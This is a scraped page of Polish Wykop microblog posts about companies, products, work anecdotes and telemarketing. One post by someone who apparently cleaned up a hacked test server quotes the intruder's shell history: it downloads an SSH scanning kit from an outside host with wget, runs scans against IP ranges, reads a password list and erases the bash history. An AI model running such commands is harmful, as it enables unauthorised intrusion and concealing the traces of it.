    Plastc to ufundowana w 2012 roku przez Ryana Marquisa oraz Marka Stubbsa w Palo Alto (Kaliforniia) firma, która za cel postawiła sobie na nowo zdefiniować obecne sposoby płatności za zakupy. Efektem tych prac jest karta Plastc. Posiada ona tradycyjny czip oraz pasek magnetyczny (wielokrotnego zapisu) do dokonywania płatności w terminalach. Dodatkowo postanowiono umieścić również niewielki wyświetlacz typu E-ink (elektroniczny papier), moduł łączności Bluetooth, pamięć wewnętrzną, akumulator z funkcją ładowania bezprzewodowego oraz czip NFC do płatności zbliżeniowych. Po co umieszczać to wszystko w karcie? Odpowiedź jest prosta.

    Łączność Bluetooth zabezpieczy nas też przed zgubieniem karty lub jej kradzieżą. Gdy karta oddali się od naszego telefonu z dedykowaną aplikacją, to dostaniemy powiadomienie o tym, że straciliśmy kartę z zasięgu wzroku, dzięki czemu będziemy mogli szybciej zareagować w takiej sytuacji. Dodatkowo przy pomocy aplikacji możemy zdalnie wymazać wszystkie dane zgromadzone na karcie. Sama aplikacja jest zabezpieczona przez konieczność logowania przy pomocy numeru PIN oraz rozpoznawania twarzy. To dzięki niej będziemy mogli dowolnie zarządzać kartami oraz otrzymywać podsumowanie naszych płatności.

    Czytaj więcej

    @Bankierpl co o tym sądzicie? Czy ten projekt ma szanse wyprzeć obecnie dostępne karty płatnicze?

    #technologia #banki
    pokaż całość

  •  

    Podpowie ktoś jakiej firmy folię termokurczliwą do przyciemniania szyb kupić? Trochę czasu mam to przycebule trochę :] Wyliczyłem, że potrzebuję około 6 metrów (z dużym zapasem oczywiście ( ͡º ͜ʖ͡º)

    #auto #pomocy #kiciochpyta

  •  

    Poleciłby ktoś firmę, która robi bluzy z kapturem rozpinane? Ważne żeby zamek po praniu się nie skurczył (nie sfalował). #modameska #streetwear

  •  

    @dildo_vaggins: bry, pamiętam, że jesteś administratorem sieci internetu radiowego więc może mógłbyś mi pomóc? Pytanie brzmi tak: jest jakaś strona na której jest każda firma udostępniająca internet drogą radiową? Chodzi mi dokładnie o zasięg sieci danego isp na danym terenie, coś takiego jak mają operatorzy lte z mapami.

  •  

    #pracbaza #ludziesadziwni #niewiemjaktootagowac
    Ciąg dalszy tego i tego.
    Zainteresowanych zawołam w komentarzu.
    Po tym wpisie spłynie na mnie fala hejtu.
    Wszystko się wyjaśniło. Dosyć szybko. Ale wczoraj byłem zbyt zdenerwowany żeby napisać. Historia jest nieprawdopodobna a ja znowu straciłem wiarę w ludzi.
    Szef tej baby (Pani E) nie miał pojęcia co ona wyprawia. Nie wiedział nic o skardze, którą ona wysmarowała. Był bardzo zdziwiony jej postępowaniem i zaprosił ją na rozmowę. Wszystko ładnie wyśpiewała. I co się okazało? Że nie działała sama. Była w zmowie z kierowcą z mojej firmy- Panem K.
    Jak się okazało, Pan K nigdy mnie nie lubił. Był zazdrosny o to, że mam żonę, która nie wyciąga ode mnie kasy (pracuje w tej samej firmie co ja), mam przyjaciół i jestem szczęśliwy. Głównie o to, że jestem szczęśliwy. A nie powinienem. Bo jestem alkoholikiem i muszę całe życie cierpieć. A on jest wspaniałym człowiekiem a oprócz żony dziwki, córki dziwki i kredytu nie ma nic.
    Pan K postanowił, że zrobi wszystko, bym znowu znalazł się na dnie, wpadł w odmęty alkoholizmu i narkomanii oraz żeby wszyscy mnie znienawidzili.
    Podczas jednej z dostaw spotkał Panią E. Pani E była znudzona życiem, nie lubiła swojej pracy i chciała jakiś rozrywek. Pan K postanowił ją wykorzystać do swoich celów i przy każdej dostawie ją ruchał. Postanowili, że ona będzie za każdym razem mieć zastrzeżenia do mojej pracy. Oprócz ruchania jeszcze jej płacił. Nie wiem ile.
    I Pani E wiecznie się czepiała, aż w końcu przesadziła. Szef ją zwolnił, bo działała na szkodę firmy. I dobrze jej tak.
    A Pan K? Przyznał się do wszystkiego a także do tego, że używał naszych aut do robienia innych kursów, dla innej firmy transportowej. Mój szef zwolnił go dyscyplinarnie.
    Na odchodne obraził wszystkich pracowników, postraszył sądem firmę, mnie i wyszedł wściekły. A i jeszcze stwierdził, ze ma nadzieję, że moja "szmata" umrze przy porodzie a dziecko będzie mutantem. Dostał w zęby. Czekam na pismo z policji o pobicie.
    A ja się zastanawiam czy tego nie można było załatwić inaczej i czy Pan K nie mógł powiedzieć mi o swojej awersji do mnie osobiście. Może można byłoby to jakoś zmienić. Aż tak się bał? Ludzie mnie nie lubią. Wiem o tym, ale zawsze mówili mi to prosto w twarz, co mniej bolało niż spiskowanie za moimi plecami i udawanie wspaniałego kolegi. Ale stało się inaczej. Teraz wszyscy w firmie patrzą się na siebie z nieufnością i z miłej atmosfery nie zostało praktycznie nic.
    Sam nie jestem święty, swoje za uszami mam, ale o swoje niepowodzenia nigdy nikogo nie obwiniałem i nigdy nikomu nie zazdrościłem. I zamierzam dalej być szczęśliwy, bo zbyt długo o nie walczyłem.
    Przepraszam za wszystkie błędy interpunkcyjne i gramatyczne.
    pokaż całość

  •  

    Orange to bez wątpienia najlepsza firma w naszym kraju. Jestem dumny, że dostąpiłem zaszczytu płacenia im miesięcznego abonamentu za cudowne usługi stacjonarne. Polecam tego operatora, 0/10!

    #orange #internet @OrangeEkspert

    źródło: i.imgur.com

  •  

    Ford i technologie przyszłości - ciągle mówi się o nowinkach technicznych poprawiających bezpieczeństwo kierowcy. Niemiecka firma zaprezentowała testową wersję (taki exclusive dla Polaków) nowej technologi TraceMyStolec™. Niewielka sonda bluetooth umieszczona w odpowiednim miejscu informuje kierowcę ile jeszcze może przejechać kilometrów, zanim się zes... będzie musiał iść tam, gdzie nawet król chodzi piechotą. Ot technia!
    #heheszki
    pokaż całość

    źródło: s29.postimg.org

  •  

    #internetia #heheszki #telemarketing

    - Dzień dobry! Nazywam się Marta Puszczalska*, dzwonię z firmy Internetia, czy to Pan Konwik?
    - tak, słucham?
    - chciałaby zaoferować nową umowę, będzie Pan mniej płacił
    - ale 6 miesięcy temu przedłużyłem umowę i zostało mi jeszcze jakieś 18 miesięcy
    - w bazie danych jest, że ma Pan teraz umowę na czas nieokreślony
    - to macie Państwo nieaktualną bazę danych, przecież wiem co podpisywałem
    - czy mogę przedstawić Panu ofertę?
    - nie, dziękuję
    - ale dlaczego
    - żegnam Panią.

    *nazwisko zmienione

    pokaż spoiler Dlaczego dzwonią i wkurwiają ludzi? Tego, kto wymyślił telemarketing, powinno się oskórować, posypać solą i podtrzymywać przy życiu, żeby długo cierpiał.
    pokaż całość

  •  

    http://www.wykop.pl/link/2642503/jestem-przegryw-i-sprzedam-10-kartonow-ubran-mojej-bylej-pomocy-wykopki/

    Mam do zaoferowania 10 kartonów ubrań mojej byłej. Skąd taka ilość? Opowiem Wam krótką historię.

    Poznaliśmy się w 2013 roku. Dziewczyna ładna, było fajnie. Trochę zazdrosna, ale jakoś mi to nie przeszkadzało.

    Ponieważ pracowałem od niedawna w pewnej firmie, bardzo zależało mi na tym, aby dać się poznać jako solidny pracownik z dużymi możliwościami. Udało mi się zabłysnąć kilka razy, więc szef zabrał mnie na delegację, gdzie mieliśmy spotkać się z przedstawicielami pewnej firmy i negocjować dostawy. Wyjazd wypadł nagle, więc mojej ukochanej nie zdążyłem wcześniej powiadomić. Sam byłem zaskoczony tak szybkim wyjazdem. Miało mnie nie być trzy dni (noclegi w hotelu na drugim końcu Polski). Stwierdziła, że wyjeżdżam do kochanki. Nie pomogły moje zaprzeczenia. Obiecałem nawet zdjęcie z delegacji z szefem na tle hotelu. Zdjęcie wysłałem. Stwierdziła, że wyjeżdżam na jakąś orgię bo szef (według niej mój kumpel), miał prawie ten wiek co ja. Walnęła wielkiego focha i przestała się odzywać.

    Jak wspomniałem wcześniej wyjeżdżałem nagle. Pakowałem się w pośpiechu. Nie miałem gotówki przy sobie, wiec zostawiłem dziewczynie kartę kredytową z limitem 23.700 złotych i powiedziałem jej kup sobie kochanie co tam potrzebujesz, bo nie mam czasu wypłacić nic z bankomatu. I to był błąd. Kiedy wróciłem zobaczyłem w mieszkaniu wielki stos ubrań najróżniejszych marek a na tym stosie kopertę, w której była moja karta kredytowa i liścik. W liściku informacja: MIŁEGO ZWRACANIA TOWARU. Karta wyczyszczona prawie co do złotówki a w moim mieszkaniu stos damskich ciuchów. Załamka niezła. Nie odbierała telefonów. Spakowałem ciuchy w kartony i tak stoją do tej pory w moim mieszkaniu.

    Najchętniej oddałbym je do sklepów, ale ona zapomniała lub celowo nie zostawiła mi paragonów. Poza tym, ciuchy te kupowała w sklepach w całej Polsce. Skąd to wiem? Z karty pobrano pieniądze za wynajem samochodu VV Touran ( 890 złotych) i tankowanie w kilku różnych miejscach Polski (601 złotych). Towar pochodzi między innymi z Bielsko Białej, Częstochowy, Warszawy, Krakowa. Przeważające rozmiary to 38-42, choć nie tylko. Są to ubrania nowe. Marki jakie widziałem to Zara, Boden, Mexx, Ryłko, Banderola, coś było z H&M i z Olivier. Dużo marek nie znam lub są nieznane. Część tego to outlet. Rozrzut rozmiarowy jest duży. Ewidentnie widać, że nie kupowała tego z myślą o chodzeniu w tym tylko w tym celu, abym miał trudniej się tego pozbyć. Taka zemsta, tylko że ja nie zawiniłem. Jak się później udało mi z nią skontaktować to oświadczyła, że skoro nawet jej nie zdradzałem to i tak moja wina bo wzbudziłem w niej niepokój i miała prawo mnie ukarać :/

    #tfwnogf
    #przegryw #feels #oswiadczenie #coolstory #allegrostory
    pokaż całość

  •  

    63 544 - 34 = 63 510

    pokaż spoiler Po ostatniej wyprawie nocnej stwierdziłem że muszę kupić lepsza lampę na przód do kolarki. Na dwa kółka zatem i do Decathlonu koło Plazy Kraków. Ale najpierw umów się z dziewczyna w Selgrosie, na zakupach materiałów do firmy w której pracuje. I tak:
    Goronco w uj. Na Grunwaldzim Brzydka Pani w Pięknym Jaguarze zaliczyła stłuczkę. Szkoda autka:( Dalej pojadę bulwarem... Halt. Policjantki na rowerach zatrzymujo tuz za zjazdem na bulwar, bo bomba gdzieś. Zatem przez Dietla, na galerie kazimierz (pod która pełno straży). Juz w Selgrosie. Zakupy na dwa wózki. Wody, papiery, art. biurowe. Pro tragarz. Dziewcze przyjechało grato-brawką taty, bo swój u mechanika. Buzia, dzięki, papa, jadę do decathlonu. Wyjeżdżam z parkingu. Nie ma jej. Jedno kółko, drugie kółko. Wracam. Stoi autem w poprzek, auto zgon, ludzie trombiom. Kolarka na bok, wrzuć na luz, auto dopchane. WTF? no "zepsiuł się". Wygoń różowego, wsiądź, szukaj wajchy do otwarcia maski - nie ma (chyba oderwana i rzucona gdzieś luzem). Morduj silnik - odpal raz - zasłona dymna puff, ale chodzi, rusz do tyłu - zgon. W miedzy czasie różowy dzwoni do taty, tata daje rade na która sam wpadłem - odpalaj i ruszaj na pełnym gazie. 10 prób - działa. Przyszły teść drze się w słuchawce - BO ZŁE PALIWO NALAŁAŚ XD Kij że auto ledwo jeździ. Pytasz różowego czy podjedzie do firmy autem te 3km. Nie bo się zestresowała i nie wie jak i nie da rady i chuj nie samochód. Nie masz przy sobie prawka. No cóż... Rower na tylne siedzenie, wsiadaj do autka - różowy trzymaj kciuki. Opanuj diabła. Jedymy. Zdechł dopiero na parkingu przed firmą. Rozładunek auta. Najlepszy boy ever ! Papa. Kupiłem lampkę, wróciłem do domu, właśnie coś zjadłem i zaraz jadę do różowego rowerem, wrzucę auto na grata i jakoś postaram się nim dojechać 17 km przez miasto do jej domu.

    A w miedzy czasie, wracając, strażaki sprzątają manatki:

    #rowerowyrownik #krakow
    pokaż całość

  •  

    #przyjmujo jakby kto miał używany potykacz w dobrym stanie za małe pienioszki to chętnie przyjmę. Nawet za darmo jakby się kto uparł.

    #jsnuszebiznesu #firma #dzilalnoscgospodarcza #reklama #obrazekdlazwiekszeniaatencji

  •  

    Mirki i Mirunie, czy byłby ktoś w stanie mi powiedzieć dlaczego tak właściwie firmy zagraniczne nie odprowadzają podatku w Polsce ? Sklepy takie jak TESCO i inne
    kupujemy u nich dość często bo tanio i #cebuladeals a spora część tych pieniędzy jakie na tym zarobią jest upłynniana za granicami państwa, to jak okradanie samych siebie ᕦ(òóˇ)ᕤ #afera
    #pytanie #pytaniedoeksperta #ekonomia
    pokaż całość

  •  

    #eori #dhl #import #firma #biznes #aliexpress

    Mirki, czy orientujecie się - jeśli zamawiam coś z aliexpress DHLem na firmę a nie mam jeszcze numeru EORI to czy kurier sam o ten numer wystąpi w momencie odprawy celnej? Czy sam to muszę zrobić?

    •  

      @krupek: jak do nich dojdzie to zadzwonia/wysla maila zebys podal wlasnie eori i wypelnil dokumenty upowazniajace ich do robienia odprawy celnej

    •  

      @nekti: dzięki! to już ostatnie pytanie jeśli mogę ;-) a jak wygląda kwestia certyfikatu CE? w tym samym momencie zadzwonią i powiedzą "dostarcz nam numer EORI, certyfikat CE bo bez tego nie dostaniesz towaru"? I jeśli tak to czy jest jakikolwiek sposób żeby taki towar nie posiadając certyfikatu CE odebrać (np. deklarując wykonanie certyfikacji w PL?)

    • więcej komentarzy (6)

  •  

    1. Cos ci tnie siec
    2. tcpdump -w odpal wiresharka
    2. znajdz winowajce cos skanuje ale od
    3.odłącz winowajce
    4. Właduj sie na ten serwer testowy zewnęrzen firmy x y z

    4.5 znajdz hajkera
    5. zbieraj kwiatki
    `

    wget cross-panel.tk/bssh.gz
    ls
    tar zxvf bssh.gz
    cd bssh/
    ls
    ./scan 123.30
    ls
    history
    psql
    passwd
    screen
    ./screen
    ls
    cat /dev/null > /.bash_history && history -c && exit;exit;
    exit
    w
    uname -a
    mail
    ls
    cd bssh
    screen
    cd /var/tmp
    ls
    cd bssh/
    ls
    cat pass.txt
    nano pass.txt
    nohup ./scan 72; ./scan 73 >>/dev/null &
    uptime
    cd /var/tmp
    ls
    cd bssh/
    ls
    cat nohup.out
    ls
    cat no
    cat nobash.txt
    history
    rm -rf history
    history
    ls
    cat nobash.txt
    ls
    rm -rf nobash.txt
    rm -rf nohup.out
    nohup ./scan 73 >>/dev/null &`
    ......
    #linux #hacking
    pokaż całość

  •  

    Czy jest tutaj jakiś ekspert od Excela ? Mam listę firm w jednym arkuszu i chce żeby po kliknięciu w nazwę firmy przenosiło mnie do przypisanego arkusza do tej firmy. Czy jest to możliwe do wykonania? #excel #pytanie #pytaniedoeksperta

    +: suowik
  •  

    Mireczki, taka wydaje mi się sympatyczna historia z samego rana. Troszkę #coolstory troszkę #wygryw oraz troszkę #chwalesie

    Od wczoraj jestem naprawdę najszczęśliwszym człowiekiem chodzącym po globie! Awansowałem niedawno na 25 lvl, wczoraj mój #ozowypasek ogłosił mi, że rodzinka powiększy się o jednego członka. Chociaż nie było to zaplanowane, baa, nawet przez myśl mi nie przeszło, że w takim młodym wieku zostanę ojcem, to jestem prze-prze-przeszczęśliwy! Pewnie zaraz usłyszę, że patologia, beka ze mnie, ale nic z tych rzeczy.

    Z tą wyjątkową kobietą, a wcześniej jeszcze dziewczyną jestem już od 9 lat! Historia można powiedzieć jak z filmu, ja - osoba, która od najmłodszych lat wykładała chuja na wszystkie sprawy w 1 klasie liceum poznałem Ją. Dziewczynę, która była całkowitą przeciwnością mojej osoby. Poukładana, z dobrego domu, dla której nauka, samorealizacja już w tak młodym wieku stały na piedestale wartości. Na tle innych dzieciaczków w klasie naprawdę się wyróżniała. Ja szkolny śmieszek, który zawsze i wszędzie z wszystkiego śmieszkował i ona, zrównoważona, poukładana, której tylko od czasu do czasu drgały kąciki ust słysząc moje jakże ubogie żarty. Wszystko zmieniło się, gdy zostaliśmy razem dobrani w grupę na lekcji geografii. Musieliśmy zrobić projekt! Wtedy wyszedłem z założenia, że jak mam mądrą osobę w grupie, to zrobi go za mnie. Wszystko miało iść po mojej myśli, zresztą jak zawsze... Nic bardziej mylnego. Magda od razu powiedziała, że sama tego robić nie będzie. Jak mam zamiar śmieszkować i powierzać jej całą pracę, to otwarcie powie, że nie przyłożyłem do tego palca i projekt został wykonany tylko przez nią samą. No troszkę strachłem. Strach, strachem, ale jak mi tymi słowami zaimponowała. Powiedziałem sobie dobra, jak mus, to mus, czasem można dołożyć do czegoś kilka swoich groszy. I tak mijały nam dni, robiliśmy projekt 30 minut dziennie. Minuty przerodziły się w godziny, by potem rozmawiać ze sobą całymi dniami, nie tylko o projekcie. Wtedy nikt nie myślał o miłości, ja nawet nie myślałem o zauroczeniu, zawsze zero trosk, angażowania się w jakieś poważniejsze tematy. No i w końcu, chcąc nie chcąc poczułem, że Kupidyn trafił mnie w samą dupę. Chyba największą strzałą, którą miał w swoim kołczanie. Całe szczęście, że ją też xDD. Tak beztrosko żyliśmy sobie przez całe liceum, związek jak z bajki. Kłótnie, jak już były, to o bzdety, 1-sze wspólne wakacje. Po prostu sielanka (kierwa, jak to brzmi, sielankę w wieku 17 lat, to miał każdy xD) Cholernie przy niej dojrzałem, przestałem być śmieszkiem poza kontrolo, a stałem się osobą, która zaczęła patrzeć w przeszłość, a nie tylko chichy śmichy z dnia na dzień.
    Po trzech latach liceum trzeba było wybrać studia. Ja głupi nie byłem, po prostu do nauki nigdy nie podchodziłem poważnie. Wybór studiów, to był wielki krok! Jak już wspomniałem wcześniej - dojrzałem przy niej, stałem się innym człowiekiem, to i studia wziąłem ambitne. Poszedłem na robotykę. Jak ja się tam Mireczki kurwa męczyłem, nie zdajecie sobie sprawy. Pierwsze miesiące, to była porażka, jak ta Brazylii z Niemcami. A później, o dziwo, zaczęło mi się to podobać! Skończyłem swoje studia, Magda w tym samym czasie skończyła swój kierunek. Warto wspomnieć, że już od początku studiów razem mieszkaliśmy, a także staraliśmy się pracować kiedy tylko była taka możliwość, by odłożyć pieniądze na późniejsze lata. Minęły kolejne 3 lata. Przez 6 lat. 3 lata liceum, później 3 lata już tak naprawdę wspólnego życia sprawiły, że zaczęliśmy poważnie myśleć o naszej wspólnej przyszłości. Myśli przeszły w czyny. Ślub, mieszkanie własnościowe (kredyt niestety wzięliśmy, nie było innego wyjścia xD). Nadszedł czas na wspólny biznes. Otworzyliśmy firmę. Na początku było strasznie ciężko. Były chwile, w których naprawdę myśleliśmy, że targnęliśmy się z motyką na słońce. Nic na początku nie wychodziło, państwo rzucało kłody pod nogi, my również czuliśmy się jak dzieci we mgle. Na szczęście po roku męczarni, ciągłej batalii z przeciwnościami losu wyszliśmy na prostą.
    Od dwóch lat prowadzimy dobrze prosperującą firmę, zatrudniamy na dzień dzisiejszy 15 osób, ja mogłem wrócić do śmieszkowania ( ͡° ͜ʖ ͡°). Myślałem, że już lepiej nie może być. Do wczoraj. Nawet teraz, gdy piszę tą wiadomość, czuję jak mi się oczy pocą z radości. Po 9 latach od przypadkowego spotkania zmieniłem się z kretyna w osobę, która twardo stąpa po ziemi. Beztroskie życie zmieniło się w życie, w którym troski występowały, występują i pewnie będą występowały nadal. Jednak są to troski o drugą osobę, osobę, którą naprawdę KOCHAM, a teraz otwarcie przed całym światem mogę powiedzieć, że uczucie, które to i tak było bardzo gorące, pali się jeszcze mocniej. Wszystko za sprawą tej małej "fasolki", która jest w środku mojej ukochanej. Po 9 latach przekonałem się, że warto gonić za lepszym jutrem, warto znaleźć sobie kogoś, z kim będzie można razem biec w stronę słońca. I chociaż nie ma łatwo, chociaż życie lubi płatać figle, to naprawdę warto. Jeśli choć raz poczujecie ukłucie w sercu i Wasz wewnętrzny głos powie "Kuuurwa Mirek, to może być naprawdę moja szansa", to warto spróbować. Nigdy nie wiadomo kiedy i Was Kupidyn strzeli w samą "10".
    pokaż całość

  •  

    Mireczki, co myślicie o takim sikorze? Zna ktoś w ogóle firmę Pierre Ricaud? Warto się tym interesować?

    http://allegro.pl/zegarek-pierre-ricaud-p97021-b214ch-gw-zegarkisc-i5466554595.html

    #zegarki #zegarek #watchboners

    źródło: zegarkisc.pl

    •  

      @angerisagift: głównie rozchodzi się o chińskie mechanizmy, które są niebywale hujowe ( ͡º ͜ʖ͡º)

    •  

      @Shank: zalezy czy mówisz o tanich DG klepanych z puszki po konserwie czy sea-gull owym ST. Niestety wile osób całą swą wiedze o chińskich zegarkach czerpie z fot podrób za dolara od sztuki. Ba! nawet zegarmistrzowie przyzwyczajeni do goerów czy innych winnerów głupieją gdy dostają do łap normalnego chinola.
      Plus czarne listy sa nieraz z dupy bo goście nie potrafią zaklasyfikowac np microbrandów (których jest coraz więcej).
      edit: i zwracasz mi za leki na raka-przeczytałem kilka stron z "trusted watch". Tak nieobiektywne gówno widziałem może raz, pisane na jednym z for zegarkowych przez świrniętego gościa modlącego się do "swiss made". Brrrr.
      pokaż całość

    • więcej komentarzy (4)

  •  

    #pocztapolska chwali się zyskiem...

    a pracownicy piszą co o tym myślą... a raczej skąd ten zysk się bierze.

    Najgorsze w tym wszystkim jest to, że, pracując długo w tej firmie, widzę pewne rozwarstwienie. Ja rozumiem, że dyrektorzy i rady nadzorcze są ważne, ale ludzie ci, zapominają kto wykonuje usługę. Kto poniekąd realizuje plany, głupie pomysły i generuje zysk.

    Dodatkowo, mam wrażenie, że są oni trochę oderwani od rzeczywistości i nie zawsze wiedzą jak wygląda praca ludzi którymi zarządzają.

    Kiedyś odwiedził nas jeden z dyrektorów Regionu Sieci. Przyjechał z informacją o planowanych zwolnieniach, restrukturyzacji, etc. Rozgorzała dyskusja. Listonosze twierdzili, że pracy jest za dużo aby firma mogła pozwolić sobie na cięcia, że źle to wpłynie na obciążenie pracą i morale. Padło pytanie: ,,Jak pan sobie to wyobraża? Zwolnicie dwóch/trzech listonoszy na naszym urzędzie to ktoś będzie musiał dostać ich rejony dodatkowo. Przecież to jest niewykonalne,,

    Odpowiedź poraziła wszystkich: ,,Zrobi się małą roszadę albo najwyżej listonosz będzie raz w tygodniu jeździł do danej miejscowości a ludzie będą sobie odbierać pocztę raz w tygodniu,,.

    Wszyscy byli w takim szoku, że nikt nie wybuchnął śmiechem. Takich kwiatków jest sporo, na spotkaniach z ,,górą,,.

    Nie dziwię się słowom napisanym pod tym postem. Nie dziwię się w ogóle. Sam powstrzymuję się od komentarzy, nawet na spotkaniach. Po siedmiu latach podrzucania pomysłów stwierdzam, że głosu ludu, nawet rozsądnego, i tak nikt nie słucha.

    Wybaczcie #gorzkiezale ale jutro kończy mi się urlop i czeka mnie powrót do szarej rzeczywistości.

    #postmanstories
    pokaż całość

    . . . kliknij, aby rozwinąć obrazek . . .

    źródło: screenshot-www.facebook.com 2015-07-07 02-22-21.png

    •  

      @Old_Postman: PP bardzo poprawiła jakoś swoich usług i to jest fakt. Ale to co się dzieje z placówkami i listonoszami woła o pomstę do nieba. Mojego listonosza, bardzo sympatycznego kopę lat nie widziałem już. Zamiast niego chodzą różni ludzie, pewnie na zlecenie przyjęci. W placówce z 4 okienek zostawili 2, kolejki niemiłosierne.

      Ale co mnie najbardziej wkurza, ba co mnie wkurwia. Idę coś nadać/odebrać, a pani w okienku (z zażenowaniem, bo musi, wiem to): "a może doładowanie do komórki?", "a może gazetkę dzisiejszą?" i inne niezręczne próby dosprzedaży. Bo się jakiemuś korpozjebowi na wyższym szczeblu wydaje się, że skoro takie coś sprawdza się na stacjach benzynowych to się sprawdzi i na poczcie. Nie wiem jak można być tak oderwaną od rzeczywistości korposzmatą, naprwdę.

      Chociaż najlepsze jest pytanie: "polecam nasze ubezpieczenia, może potrzebuje pan?". I teraz wyobraźcie sobie sytuację, że stoję przy jednym otwartym okienku, za mną masa ludzi, a ja odpowiadam: "tak, potrzebuję, niech mi pani powie coś więcej o tym!". Więc zacznie się gadka, tłumaczenie, a tego nie rozumiem, a proszę powtórzyć, no nie wiem nie jestem pewien, pomyślę, ale w sumie to jest fajne, to jak Halina weźmiemy? I co, i ci wszyscy ludzie z tyłu będą sobie spokojnie czekać? O tym już tępy krawaciarzu nie pomyślałeś jak wdrażałeś swoje genialne pomysły?

      Miałem pisać skargę do PP na zarząd tej firmy, że każe kobietom w okienkach takie gówna wciskać.

      Najgorsze jest to, że te zjebane korpostandardy są wprowadzane wszędzie, nawet do firm gdzie się totalnie nie sprawdzają. Niby zarządzają tym ludzie z jakimś tam wykształceniem, niby mądrzy, a jednak tak oderwani od rzeczywistośći, tak przesiąknięci korpopraniem, że to mi się w głowie nie mieści. I nie dotyczy to tylko firm państwowych bo w prywatnych dzieje się to samo.
      pokaż całość

    •  

      @Old_Postman: Dopiero teraz czytam wpis. Byłeś już na kaskadówce ?

    • więcej komentarzy (22)

  •  

    Dzwoni dziś do firmy telemarketer i zaprasza na darmowy pokaz gotowania na parze w stanie mikrograwitacji. Odmawiam grzecznie, informuję, że nie potrzebuję siedemnastu darmowych biletów, a on strzela do mnie gotową formułką: "ale zgodzi się pan ze mną, że w dzisiejszych czasach."

    Ale najlepsze było, jak zrezygnowanym i pozbawionym życia tonem wyjechał z tym tekstem. Po jego głosie słyszałem, jak zażenowany jest i że w sumie to najchętniej by mnie przeprosił za to, co musi pierdolić. Z czymś takim spotkałem się w sumie pierwszy raz i nawet poczułem do niego sympatię :D

    #pracbaza #telemarketing
    pokaż całość

    +: Torian
  •  

    Gdzie w #rzeszow moge zrobic nadruki na tshirty? Musze miec tak z 10 koszulek. Chodzi mi i dobrą jakosc nadruku zeby nie sprała się po pierwszym praniu no i cena, wiadomo im taniej tym lepiej. Czarny napis na białej koszulce i dobrze by bylo male logo na karku i swoja metka to juz wogole miod. Chyba że macie jakies firmy co mi to zrobia i wyslą? #pytanie #modameska

    +: RIKZAG

1 2 3 4 5 6 7 ... 24 25 następna